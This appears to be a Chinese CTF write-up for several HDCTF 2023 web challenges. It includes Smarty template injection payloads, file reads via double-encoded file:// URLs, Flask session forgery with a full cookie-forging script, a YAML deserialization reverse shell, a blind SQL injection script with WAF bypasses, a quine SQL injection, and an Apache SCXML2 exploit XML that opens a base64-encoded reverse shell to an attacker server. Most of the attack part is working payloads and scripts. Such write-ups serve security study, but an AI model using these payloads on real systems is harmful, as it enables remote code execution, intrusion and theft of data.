游戏题
解法一:直接噶,获得flag
控制台跑一下得出flag
这题考察SSTI模板注入
,先利用下图判断是什么模板,这里猜测变量名是data
经过判断是Smarty
模板
先介绍一下Smarty
模板
简介:
Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。
了解过Jinjia2模板注入的同学应该知道,jinjia2是基于python的,而Smarty是基于PHP的,所以理解起来还是很容易,我们只需要达到命令执行就可以了。
查看版本:
{$smarty.version}
常用标签
{php}
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。
{php}phpinfo(){/php}
但是这个也是要分版本的,Smarty已经废弃{php}标签。在Smarty 3.1,{php}仅在SmartyBC中可用。
直接输入php命令即可:{system(‘ls’)}
{literal} 标签
官方手册这样描述这个标签:
{literal}可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
使用Javascrip语句进行命令之执行,常见的变形语句:
当然这样的语法,在PHP5里面可以使用,在PHP7里面不可以使用,本地测试一下:
因为{literal}支持javascprit语法,所以我们可以RCE,用法如下:
{literal}
<script language="php">phpinfo();</script>
{/literal}
调用静态方法
(没遇到过 不是很理解这个playload)
通过self获取Smarty类再调用其静态方法实现文件读写
Smarty类的getStreamVariable方法的代码
public function getStreamVariable($variable)
{
$_result = '';
$fp = fopen($variable, 'r+');
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}
这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法,
很多文章里给的payload都形如:
{self::getStreamVariable("file:///etc/passwd")}
但在3.1.30的Smarty版本中官方已经把该静态方法删除
{if}
{if}标签
官方文档中看到这样的描述:
Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}*
既然全部的PHP函数都可以使用,那么我们是可以利用此来执行我们的代码
{if phpinfo()}{/if}
{if system('ls')}{/if}
接下来判断Smarty
的版本,payload:
data={$smarty.version}
是4.1.0,这里可以用{php}
和{if}
两个标签进行注入,这里决定用php标签(因为方便),payload:
data={system('ls /')}
可以看到根目录下面有flag_13_searchmaster
文件,进行文件读取,payload:
data={system('cat /flag_13_searchmaster')}
得到flag
进去之后有个界面,里面有三个链接
第二个是upload(暂时不知道有什么用)
第三个的意思好像是/app
的路由下有/app.py
的文件,利用任意文件读取尝试查看该文件
但是被过滤掉了,
re.findall(‘app.*’, url, re.IGNORECASE)
该操作的含义是在 url 中查找以 app 开头的子串,并返回所有匹配的结果。其中,.*表示匹配任意字符(除了换行符)0 次或多次。re.IGNORECASE 是一个可选参数,表示在匹配时忽略大小写。
这里要用url双重编码
(python3)进行绕过,思路如下:
一次编码会被hackbar还原,服务端接收到的还是app,二次编码后,到服务端是一次编码的过程,不存在app,也就不会被识别,因为是urlopen去访问的我们需要的资源,猜测这里urlopen接受的是一个url地址,url地址当然可以被编码了,所以也可以正常访问。
得到payload:
/read?url=file://%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39
OK,顺利读取到内容,源码如下:
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
"导入所需的模块和库"
app = Flask(__name__)
"创建Flask应用实例"
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
"配置应用"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
先进行代码审计
random.seed(uuid.getnode())
:使用机器的 MAC 地址作为随机数种子。
app.config['SECRET_KEY']
:设置一个随机生成的密钥作为 Flask 应用的密钥。
BLACK_LIST
:包含了一些不允许的文件名的黑名单。
app.config['UPLOAD_FOLDER']
:设置文件上传的目标文件夹路径。
@app.route('/')
:处理根路径的请求。当用户访问根路径时,会执行 index()
视图函数。该函数将会话中的 passport
设置为 'YamiYami'
,然后返回欢迎信息。
@app.route('/read')
:处理 /read
路径的请求。当用户访问 /read
路径时,会执行 read()
视图函数。该函数首先获取请求参数中的 url
参数,然后通过正则表达式检查该参数是否包含特定字符串。如果匹配到 'app.*'
或 'flag'
,则返回相应的字符串。否则,它尝试通过 urlopen()
函数打开指定的 URL,并返回读取到的内容。
@app.route('/upload', methods=['GET', 'POST'])
:处理 /upload
路径的请求,支持 GET 和 POST 方法。当用户访问 /upload
路径时,如果请求方法是 POST,那么会执行 upload_file()
视图函数。该函数首先检查请求中是否包含名为 file
的文件。如果不包含,则返回错误消息。如果包含文件,会检查文件名是否为空,并调用 allowed_file()
函数检查文件名是否在黑名单中。如果文件名合法,会将文件保存到指定的目标文件夹,并返回上传成功的消息。
@app.route('/boogipop')
:处理 /boogipop
路径的请求。当用户访问 /boogipop
路径时,会执行 load()
视图函数。该函数首先检查会话中的 passport
是否等于 'Welcome To HDCTF2023'
,如果是,则获取请求参数中的 file
参数,并检查该文件是否存在。如果文件存在,则使用 open()
函数打开文件,并通过 yaml.full_load()
函数加载 YAML 数据。最后,返回字符串 'van you see'
。如果会话中的 passport
不等于 'Welcome To HDCTF2023'
,则返回字符串 'No Auth bro'
。
通过代码审计,可以得知,需要做的事情有两件, 因为提示在/boogipop做坏事,那么就需要
一、伪造session
二、Yaml反序列化
先来伪造session:
伪造session,需要知道secret_key:
在 Flask 中,
SECRET_KEY
是一个用于加密会话数据的关键设置。会话(Session)是一种在客户端和服务器之间存储数据的机制,用于跟踪用户的状态和存储用户的敏感信息。在会话中存储的数据会被加密,并在客户端和服务器之间传输。当用户与应用程序建立会话时,服务器会将会话数据存储在服务器端,并生成一个唯一的会话标识符(session ID),发送给客户端浏览器。客户端浏览器将会话标识符存储在 Cookie 中,以便在后续的请求中发送给服务器。
为了保护会话数据的安全性,Flask 使用
SECRET_KEY
对会话数据进行加密和解密操作。这个密钥被用于生成加密会话数据的签名,并在解密时验证签名的有效性。只有拥有相同的SECRET_KEY
的服务器才能够正确解密和验证会话数据。因此,在进行会话伪造时,攻击者需要知道应用程序使用的
SECRET_KEY
才能够成功地生成有效的伪造会话数据。如果攻击者没有正确的SECRET_KEY
,会话数据将无法被正确解密和验证,从而阻止了会话伪造攻击。
根据上面的对secret_key的定义:
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
那么/sys/class/net/eth0/address,这个就是网卡的位置,读取他进行伪造即可。
在给定的代码中,使用了 random.seed(uuid.getnode())
来设置随机数种子。uuid.getnode()
函数用于获取机器的 MAC 地址(网卡地址)作为随机数种子。
所以我们要得到secret_key
要先知道网卡mca地址,具体方法如下,先用file协议读取网卡mac地址,再利用脚本进行解密、修改和加密。
构造payload读取网卡地址:
/read?url=file:///sys/class/net/eth0/address
得到网卡地址:
02:42:ac:02:58:34
运行下面脚本得到secret_key:
#02:42:ac:02:58:34
import random
random.seed(0x0242ac025834)
print(str(random.random() * 233))
# 167.11068405116546 secret_key
然后在cmd运行flask_session_cookie_manager3.py
,这是一个Flask的session和cookie的加密和解密脚本:
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='' ,
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='' ,
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='' ,
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='' ,
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
输入
python flask_session_cookie_manager3.py decode -s 167.11068405116546 -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZE_YeQ.KFuaNb2zIVVQFypY3YmSmoy7kwY" #解密
可以看到解密出结果,结果正是app.py
中的yamiyami,说明secret_key正确
接下来伪造session,使password
为Welcome to HDCTF2023
python flask_session_cookie_manager3.py encode -s 167.11068405116546 -t "{'xxxxx': 'Welcome to HDCTF2023'}"
把xxxx替换成passport
,不然文章不过审。。。
得到session
eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZE_ZOg.w_JJfHT3S6JyDdWUgyA85sXloHE
这里的session先留着一会来替换掉原来的session,接下来进行第二步Yaml反序列化
这里利用它是因为最后/boogipop
这个路由使用到了yaml.full_load(f)
内容可以是yaml形式的反弹shell的脚本
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
这个脚本的最终目的是执行
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')"
利用bash命令来使目标机进行反向连接,这里把ip
和port
替换掉
命名为shell.txt,在upload页面上交。.yaml后缀,在黑名单里,那为什么.txt也能被当作.yaml来解析呢。
猜测可能是:这里full_load调用了load函数,而load函数输入的是一个steam,也就是流,二进制文件,所以不管是什么后缀都无关紧要了。
其实也能从注释中窥见一二,翻译过来就是:
分析流中的所有YAML文档
并生成相应的Python对象。
先让攻击机开始本地监听:
netcat -lvvp 2333
然后将文件利用上传文件进行上传
接着回到/boogipop
路由, 改变session的值,由于我们已经知道了上传路径,所以可以包含文件shell.txt
构造payload:
http://node2.anna.nssctf.cn:28746/boogipop?file=uploads/shell.txt
通过ls /
查看根目录文件
查看flag.sh
说flag在/tmp/flag_13_114514
文件中,进行查看,得到flag
非预期解
构造payload:
http://node2.anna.nssctf.cn:28746/read?url=file:///proc/1/environ
直接看环境变量,得到flag
先随便输入一个登陆一下
说明用户名是admin
用dirsearch扫一下,发现文件robots.txt
进行访问,robots泄露waf源码:
function checkSql($s)
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
由于没有其他回显,并且把大部分东西都过滤掉的,虽然slepp
被过滤了,但是
sleep可以用benchmark代替,=,<,>,regexp等号可以用like代替, substr用mid绕过
盲注脚本:
import requests
import time
header = {
'Host':'da41ba10-3ba9-4cfb-9326-e6f5276e4315.challenge.ctf.show',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded'
} #伪装头
def find_number(cd): #判断数据库长度
for i in range(1,30):
payload = "1'or/**/if(length(database())like/**/%d,benchmark(1000000000,sha(1)),1)#"%(i)
#print(payload)
data = {"username": 'admin',
"password": payload
}
try:
res = requests.post(url=url,data=data,timeout=2)
except:
print("数据库长度为:",i)
return i
def find_all(cd,payload):
name = ""
for i in range(1,35):
for j in range(31, 128):
data = {"username": 'admin',
"password": payload%(i,j)
}
try:
res = requests.post(url=url, data=data, timeout=2)
except:
name += chr(j)
print('所得值为: %s' % name)
break
url="http://node4.anna.nssctf.cn:28066/"
condition="flag"
#库名:
payload = "1'/**/or/**/(if(ascii(mid(database(),%d,1))like/**/%d,benchmark(100000000,sha(1)),1))#"
#表名:
#payload="1'/**/or/**/if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),%d,1))like%d,benchmark(100000000,sha(1)))#"
#列名:
#payload = "?id=1'/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users')from/**/%d/**/for/**/1))=%d--+"
#值:
#payload = "?id=1'/**/and/**/ascii(substr((select/**/group_concat(id,username,password)/**/from/**/users)from/**/%d/**/for/**/1))=%d--+"
#find_number(condition)#爆数据库长度
find_all(condition,payload)#爆名
依据着提一条payload对下面爆表名和字段的payload进行修改即可得到password,但由于对服务器发送的请求运算量过大,容器容易崩,所以要一条一条来执行
得知password是空的且下面是对输入的password与数据库查询的到的password进行强对比
则就是要构造一个payload使得输入等于输出
这里介绍quine方法来绕过该匹配
quine指的是自产生程序也就是说就是输入的sql语句与要输出的一致
主要利用replace()函数
replace是将对象中的某一字符替换成另一字符并输出结果
replace(object,search,replace)
object是要替换的对象
search是被替换的字符
replace是要替换的字符
如输入
repalce(".",char(46),".")
输出 .
则输入
repalce('repalce(".",char(46),".")',char(46),'repalce(".",char(46),".")')
则会输出
repalce("repalce(".",char(46),".")",char(46),"repalce(".",char(46),".")")
这样实现的是将object中的 .
换成 repalce(“.”,char(46),“.”)
但对比发现前后还有单引号和双引号不等
这时又要在repalce里面再嵌套一个replace来让双引号转成单引号
如:
replace(replace('"."',char(34),char(39)),char(46),'.')
得:
'.'
这里就是先执行里面的replace将"."换成了’.'然后再执行外面的repalce
所以就可以将上面’.'换成输入的内容上面就是用
replace(replace(‘“.”’,char(34),char(39)),char(46),‘.’)代替’.’
得
replace(replace('replace(replace('"."',char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace('"."',char(34),char(39)),char(46),".")')
这样的输出就与输入一样了
回到题目得到的payload为
1'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
要注意的是
1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#
在带入里面的replace的object时的是要把单引号换成双引号,因为这个是要被用于替换成单引号后充当外面的replace的object的单引号,即下面指的两个单引号
最后得到flag
考点:Apache SCXML2 RCE
题目提供一个附件,查看网站的Controller目录,其中有一个Flagcontroller类,源码如下:
package com.example.babyjxvx.FlagController;
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.SCXML;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;
@Controller
public class Flagcontroller {
public Flagcontroller() {
}
private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(fileName);
int node1 = doc.getElementsByTagName("script").getLength();
int node2 = doc.getElementsByTagName("datamodel").getLength();
int node3 = doc.getElementsByTagName("invoke").getLength();
int node4 = doc.getElementsByTagName("param").getLength();
int node5 = doc.getElementsByTagName("parallel").getLength();
int node6 = doc.getElementsByTagName("history").getLength();
int node7 = doc.getElementsByTagName("transition").getLength();
int node8 = doc.getElementsByTagName("state").getLength();
int node9 = doc.getElementsByTagName("onentry").getLength();
int node10 = doc.getElementsByTagName("if").getLength();
int node11 = doc.getElementsByTagName("elseif").getLength();
return node1 <= 0 && node2 <= 0 && node3 <= 0 && node4 <= 0 && node5 <= 0 && node6 <= 0 && node7 <= 0 && node8 <= 0 && node9 <= 0 && node10 <= 0 && node11 <= 0 ? true : false;
}
@RequestMapping({"/"})
public String index() {
return "index";
}
@RequestMapping({"/Flag"})
@ResponseBody
public String Flag(@RequestParam(required = true) String filename) {
SCXMLExecutor executor = new SCXMLExecutor();
try {
if (check(filename)) {
SCXML scxml = SCXMLReader.read(filename);
executor.setStateMachine(scxml);
executor.go();
return "Revenge to me!";
}
System.out.println("nonono");
} catch (Exception var4) {
System.out.println(var4);
}
return "revenge?";
}
}
通过代码审计,我们可以得知该网站有/
和/Flag
两个路由,并且通过网络搜索可以得知有Apache SCXML2 RCE漏洞
Apache SCXML2 可以通过加载恶意xml文件实现RCE,这个XML的标签需要经过恶意的构造才行
我们需要靠SCXMLReader.read()
方法来读取恶意xml,题目中我们可以通过GET
的方式传入filename
参数来触发
先在自己的服务器上传恶意xml文件:
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<final id="run">
<onexit>
<assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
</onexit>
</final>
</scxml>
:定义了一个 SCXML 状态机,其中 xmlns
属性指定了命名空间,version
属性指定了版本,initial
属性指定了初始状态为 run
。
:定义了一个状态,它是最终状态,它的 id
属性为 run
。
:定义了一个事件,在退出状态时触发
: location
属性指定了要赋值的变量名称,expr
属性指定了要赋给变量的值。 具体来说,这个命令解码一个经过 Base64 编码的字符串,并将其作为参数传递给 bash -c
命令,最终会执行一个恶意的 Bash 脚本。 这一段是一个 Java 代码片段,它通过反射调用 Java 运行时类 java.lang.Runtime
中的 exec
方法来执行一个 Bash 命令。这个 Bash 命令经过了 Base64 编码,并包含在一串复杂的字符串中。这个字符串实际上是一个命令串联的结果,用了管道符(|
)将多个命令串联在一起。
具体地说,这个 Bash 命令串联了三个命令:
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}
:这个命令实际上是一个字符串,它经过了 Base64 编码。解码后得到的字符串是 bash -i >& /dev/tcp/ip/port 0>&1
。这个命令的含义是在受害者的计算机上打开一个反向 Shell,并将其连接到攻击者的 IP 地址和端口上。{base64,-d}
:这个命令将第一个命令的输出作为输入,并对其进行 Base64 解码。{bash,-i}
:这个命令将第二个命令的输出作为参数传递给 bash -i
命令,最终会执行反向 Shell 并与攻击者建立连接。将该文件上传到服务器的/root
的文件夹后,然后开启临时文件服务器,在服务器控制台输入
python3 -m http.server 8000
可以输入服务器地址:8000
来检查是否开启成功
然后再开一个服务器控制台,开始监听在恶意xml文件中的端口
nc -lvvp 2333
然后利用/Flag
路由下的filename
变量进行文件读取,构造payload:
http://node4.anna.nssctf.cn:28342/Flag?filename=http://ip:8000/shell.xml
反弹shell成功,flag文件在根目录
cat /flag_13*
得到flag
这个wp写的可以说是十分艰辛,不会的东西太多了,在此先感谢各位大佬的文章
其实到现在loginmaster还没绕过来,只能说师傅们太强了
HDCTF2023 Web题出题记录
Apache SCXML2 RCE分析
[HDCTF 2023]LoginMaster 复现 (记quine注入)
[HDCTF 2023]web YamiYami yaml反序列化+session伪造
PHP Smarty模版注入